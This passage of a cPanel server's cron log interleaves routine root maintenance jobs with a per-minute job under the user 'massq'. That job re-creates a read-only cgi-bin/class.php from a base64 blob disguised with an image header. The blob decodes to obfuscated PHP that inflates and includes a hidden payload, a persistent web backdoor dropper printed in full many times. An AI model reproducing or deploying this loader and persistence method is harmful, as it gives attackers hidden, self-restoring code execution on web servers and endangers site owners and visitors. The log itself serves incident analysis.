hOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:55:01 server CROND[11664]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:55:01 server CROND[11665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:55:01 server CROND[11668]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:55:01 server CROND[11672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:55:01 server CROND[11674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:55:01 server CROND[11673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:55:01 server CROND[11676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:56:01 server CROND[12507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:56:01 server CROND[12508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:56:01 server CROND[12510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:57:01 server CROND[12896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:57:01 server CROND[12902]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 02:57:01 server CROND[12903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:57:01 server CROND[12904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:58:01 server CROND[13274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:58:01 server CROND[13275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:58:01 server CROND[13276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:59:01 server CROND[13762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:59:01 server CROND[13764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:59:01 server CROND[13765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:59:01 server CROND[13763]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep  3 03:00:01 server CROND[14188]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:00:01 server CROND[14190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:00:01 server CROND[14196]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:00:01 server CROND[14207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:00:01 server CROND[14208]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:00:01 server CROND[14210]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 03:00:01 server CROND[14211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:00:01 server CROND[14213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:00:01 server CROND[14209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:01:01 server CROND[15068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:01:01 server CROND[15069]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 03:01:01 server CROND[15071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:01:01 server CROND[15070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:01:01 server run-parts(/etc/cron.hourly)[15069]: starting 0anacron
Sep  3 03:01:01 server anacron[15091]: Anacron started on 2026-09-03
Sep  3 03:01:01 server run-parts(/etc/cron.hourly)[15093]: finished 0anacron
Sep  3 03:01:01 server anacron[15091]: Will run job `cron.daily' in 5 min.
Sep  3 03:01:01 server anacron[15091]: Jobs will be executed sequentially
Sep  3 03:02:01 server CROND[15479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:02:01 server CROND[15480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:02:01 server CROND[15481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:03:01 server CROND[15890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:03:01 server CROND[15889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:03:01 server CROND[15891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:04:01 server CROND[16392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:04:01 server CROND[16391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:04:01 server CROND[16393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:05:01 server CROND[16789]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:05:01 server CROND[16790]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 03:05:01 server CROND[16792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:05:01 server CROND[16797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 03:05:01 server CROND[16798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:05:01 server CROND[16796]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 03:05:01 server CROND[16793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:05:01 server CROND[16795]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 03:06:01 server CROND[17642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:06:01 server CROND[17643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
